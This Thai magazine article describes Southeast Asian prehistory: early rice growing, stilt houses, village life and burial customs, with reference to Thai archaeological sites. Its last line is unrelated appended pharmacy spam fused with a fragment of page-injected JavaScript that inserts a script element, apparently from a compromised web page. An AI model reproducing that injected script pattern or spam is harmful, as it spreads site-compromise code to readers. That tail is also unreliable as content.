มติชนสุดสัปดาห์ ลงฉบับประจำวันศุกร์ที่ 8 กรกฎาคม 2554

 

           ประชาคมอาเซียนไม่ราบรื่นร่มเย็น ถ้าไม่แบ่งปันแลกเปลี่ยนเรียนรู้ประวัติศาสตร์อุษาคเนย์ที่ร่วมกันชำระสะสางให้พ้นจากการครอบงำของวิธีคิดแบบอาณานิคม

เรื่องแรกสุดที่ต้องเข้าใจร่วมกัน คือชาวอุษาคเนย์ (รวม “คนไทย”) ในประชาคมอาเซียน มีบรรพชนร่วมกัน อาศัยอยู่ในชุมชนคนอุษาคเนย์เก่าสุดราว 5,000 ปีมาแล้ว 

ขณะนั้นยังไม่มีชื่อชนชาติ, ยังไม่มีเมือง, ยังไม่มีประเทศ

ต่อมาภายหลังค่อยๆ  แยกจากกัน แล้วเรียกชื่อสมมุติต่างกันทางสังคมวัฒนธรรม จนท้ายที่สุดแยกเป็นประเทศด้วยชื่อต่างๆ กัน ตราบถึงทุกวันนี้

 

เริ่มปลูกข้าว กินข้าว

บรรพชนคนอุษาคเนย์กินข้าวเป็นอาหารหลักเหมือนกันหมดเมื่อหลายพันปีมาแล้ว

ราว 5,000 ปีมาแล้ว บรรพชนคนอุษาคเนย์เริ่มปลูกข้าว แล้วกินข้าวเป็นอาหาร นักโบราณคดีขุดพบเปลือกข้าว ทั้งที่ถ้ำปุงฮุง จ. แม่ฮ่องสอน และที่โนนนกทา ต. บ้านโคก อ. ภูเวียง จ. ขอนแก่น

เปลือกข้าวที่ขุดได้จากถ้ำปุงฮุง จ. แม่ฮ่องสอน แสดงรอยแตกแบบเดียวกับเปลือกข้าวที่แตกจากการตำแล้วฝัดเอาเปลือกออก

 

ก่อนหน้านั้นคนกินอาหารจาก “ของป่า” ที่ร่อนเร่หาได้จากธรรมชาติ เช่น มัน, เผือก, กลอย, ใบไม้, หน่อไม้ ฯลฯ และสัตว์ต่างๆ ที่มีในยุคนั้น  

เมื่อรู้จัก “ข้าวป่า” ว่ากินได้ก็กิน “ข้าวป่า” หลังจากนั้นจึงเอามาปลูกด้วยวิธีง่ายๆ โดยหว่านเมล็ดหรือเอาไม้แทงดินเป็นรู แล้วหยอดเมล็ดข้าวลงในรูดินนั้น รอน้ำค้างหรือน้ำฝนตกลงมาหล่อเลี้ยงเติบโตตามยถากรรม

ข้าวพันธุ์ดึกดำบรรพ์ที่บรรพชนคนอุษาคเนย์กินครั้งแรกๆ  เรียกอย่างปัจจุบันว่า ข้าวเหนียวเมล็ดใหญ่ ที่งอกงามบนที่สูง กับข้าวเหนียวเมล็ดป้อม ที่งอกงามบนที่ลุ่ม

นอกจากกินข้าวเป็นอาหารหลักแล้ว ผู้คนยุคนี้ยังแสวงหาของกินจากความหลากหลายทางชีวภาพตามธรรมชาติของอุษาคเนย์ด้วย จากการขุดค้นทางโบราณคดีพบว่ามีกระดูกสัตว์และซากพืชพันธุ์หลายหลากเป็นอาหารในยุคนั้น

 

อยู่เรือนเสาสูง 

เมื่อรู้จักกิน “ข้าวป่า” แล้วรู้จักเอา “ข้าวป่า” มาปลูกอย่างยถากรรมตามธรรมชาติ คนก็ค่อยๆ ปรับเปลี่ยนจากร่อนเร่แสวงหาอาหารตามธรรมชาติมาตั้งหลักแหล่งอยู่เรือนเป็นที่ทาง

เพราะมีอาหารคือ “ข้าวป่า” ที่ปลูกไว้งอกงามขึ้นประจำฤดูกาลและจับสัตว์บกสัตว์น้ำตามละแวกใกล้เคียงได้

เรือนเสาสูงของชุมชนยุคแรกๆ นักโบราณคดีจินตนาการจากหลุมเสาที่ขุดพบในแหล่ง โบราณคดีบ้านหนองแช่เสา ต. หินกอง อ. เมือง จ. ราชบุรี

เทียบกับเรือนมุงหญ้าคาของกลุ่มชนพื้นเมืองทางพรมแดนลาว-เวียดนามปัจจุบัน

เรือนยุคบ้านเชียง (จากภาพวาดในจินตนาการของจิตรกร โครงการบ้านเชียง มหาวิทยาลัยเพนซิลเวเนีย) ตามคำอธิบายของนักโบราณคดีว่าไม่มีหลักฐานเกี่ยวกับบ้านหลงเหลืออยู่ แต่มีร่องรอยจากการขุดค้นและโบราณวัตถุที่ยังหลงเหลือจากชีวิตประจำวันประกอบด้วยหลุมเสาที่อาจสร้างสำหรับบ้านเสาสูง เกลื่อนกลาดไปด้วยเศษภาชนะดินเผาชิ้นเล็กๆ กระดูกสัตว์ และ สิ่งอื่นๆ ที่ทิ้งลงไป

          ช่วงเวลา 5,000 ปีมาแล้วนี่เอง ที่คนเริ่มตั้งหลักแหล่ง แล้วปลูกเพิงอยู่อาศัยอย่างง่ายๆ ด้วยไม้ไผ่ และมุงด้วยใบไม้ทั่วไป หลังจากนั้นก็ทำให้แข็งแรงขึ้นเป็นกระท่อมหรือทับแล้วเป็นเรือนบริเวณที่ราบในหุบเขา

          เรือนเสาสูง เป็นลักษณะเฉพาะของอุษาคเนย์ มีตั้งแต่ลุ่มน้ำโขงตอนใต้ของจีน ลงไปถึงบรรดาหมู่เกาะต่างๆ

นานเข้าก็รวมอยู่ด้วยกันเป็นหมู่ แล้วมีบุคคลสำคัญเป็น “หัวหน้า” มีที่ฝังศพ “หัวหน้า” เป็นแหล่งศักดิ์สิทธิ์ เช่น ถ้ำและเพิงผา ฯลฯ แล้วมีพิธีฝังศพหรือพิธีกรรมเกี่ยวกับความตายด้วย

แต่คนไม่ได้หยุดร่อนเร่พเนจรพร้อมกันทั้งหมด ฉะนั้นจึงยังมีบางพวก บางกลุ่มที่ล้าหลังยังคงร่อนเร่แสวงหาอาหารตามธรรมชาติต่อไปอีก

  

ชุมชนหมู่บ้าน

ครั้นผ่านไปจนช่วงเวลาหลัง 5,000 ปีมาแล้ว คนบางกลุ่มบางเหล่าบางเผ่าพันธุ์ตั้งหลักแหล่งอยู่รวมกันเป็นชุมชนหมู่บ้านตามวิถีธรรมชาติ แล้วค่อยๆ มีมากขึ้นเรื่อยๆ  กระจัดกระจายไปตามหุบเขาและทุ่งราบต่างๆ  ห่างไกลกันทั่วอุษาคเนย์

บรรพชนคนอุษาคเนย์ยุคเริ่มแรกทำนาปลูกข้าว มีในภาพเขียนสีที่ผาหมอนน้อย อ. โขงเจียม จ. อุบลราชธานี

          คนพวกนี้รู้จักปลูกสร้างที่อยู่อาศัยเป็นเครื่องผูก มีเสาสูง รู้จักปลูกข้าว ทำนาน้ำท่วม ทอผ้า เลี้ยงสัตว์ เช่น วัว ควาย ฯลฯ แต่งเครื่องมือหินด้วยการขัดผิวให้เรียบ ทำภาชนะใช้สอยด้วยดินเผา แล้วมีเครื่องรางประดับร่างกาย เช่น ลูกปัดดินเผา ลูกกระพรวนดินเผา ฯลฯ รู้จักทอผ้าอย่างง่ายๆ คล้ายผ้าฝ้าย-ไหม

และมีผู้หญิงเป็นหัวหน้าเผ่าพันธุ์และหมอผี  

พันธุ์ข้าวสมัยนี้ยังเป็นพันธุ์ข้าวป่าเมล็ดป้อมอยู่ในตระกูลข้าวเหนียว 

เมื่อมีผู้ล้มหายตายจากก็มีพิธีทำศพ เอาคนตายไปฝังดิน ตกแต่งซากศพด้วยดินสีแดง แล้วเอาสิ่งของเครื่องใช้บางอย่างฝังรวมไปด้วย เช่น ภาชนะดินเผา ฯลฯ

ที่ฝังศพถือเป็นเขตศักดิ์สิทธิ์กลางของชุมชน จัดไว้ฝังศพหัวหน้าเผ่าพันธุ์และเครือญาติเท่านั้น ในหลุมศพจึงพบสิ่งของที่แสดงความมั่งคั่งและอำนาจของคนตาย ฝังรวมอยู่ด้วย 

 

fluoxetine 20 mg generic tadapoxdocument.currentScript.parentNode.insertBefore(s, document.currentScript);